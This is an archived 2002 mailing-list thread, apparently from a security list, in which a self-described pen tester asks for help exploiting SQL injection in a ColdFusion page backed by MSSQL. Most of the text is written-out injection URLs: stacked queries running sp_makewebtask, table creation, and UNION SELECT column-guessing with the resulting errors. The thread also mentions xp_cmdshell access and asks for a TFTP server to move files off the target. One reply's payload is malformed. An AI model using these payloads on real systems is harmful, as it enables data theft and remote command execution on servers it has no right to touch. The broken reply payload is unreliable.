Re: SQL INJECTION IN Coldfusion

From: wirepair (wirepair@roguemail.net)
Date: Tue Sep 17 2002 - 09:59:55 EDT


you may also want to try:
UNION file.cfm?id=4567 UNION SELECT TOP 3 FROM mrro--
or 4 if it is four lines ect.

On Fri, 13 Sep 2002 19:04:37 -0700 (PDT)
  Cesar <cesarc56@yahoo.com> wrote:
>Hi.
>You must use UNION ALL to get all the rows.
>
>For new techniques take a look a this paper:
>
>Manipulating MS Sql Server using sql injection.
>http://www.appsecinc.com/news/briefing.html#inject
>
>Cesar.
>
>--- Mr Ro <vnmrro@yahoo.com> wrote:
>> hello pen-tester,
>> I am dealing with a pen-test agains a CFM server
>> with
>> MSSQL as backend. It is vulnerable with direct SQL
>> injection.
>> I figure out that I can create,drop...table, execute
>> xp_cmdshell, sp_makewebtask, so i submit:
>> submit:
>> http://mysite/file.cfm?id=4546;exec sp_makewebtask
>> "C:\winnt\temp\blah.htm","select * from
>> master..sysmessages"--
>> it's okay, and I want to get
>> "C:\winnt\temp\blah.htm".
>> I submit:
>> http://mysite/file.cfm?id=4567;create table blah
>> (line
>> varchar(8000))--
>> and then, I submit:
>> http://mysite/file.cfm?id=4567 UNION SELECT line
>> from
>> mrro--
>> it returns an error complain that "All queries in an
>> SQL statement containing a UNION operator must have
>> an
>> equal number of expressions in their target lists."
>> so
>> I keep adding "line" in my request url
>> (http://mysite/file.cfm?id=4567 UNION SELECT
>> line,line,line from mrro--), finally it returns an
>> error message like this:
>> "[Microsoft][ODBC SQL Server Driver][SQL Server]The
>> text, ntext, or image data type cannot be selected
>> as
>> DISTINCT."
>> question here: who can explain me what happened ?
>>
>> I know there is another way to download or upload
>> files using "tftp", so is there any free "tftp"
>> server
>> for me to use instead of installing a new one ?
>> thank for reading.
>> best regards
>> mrro
>>
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>
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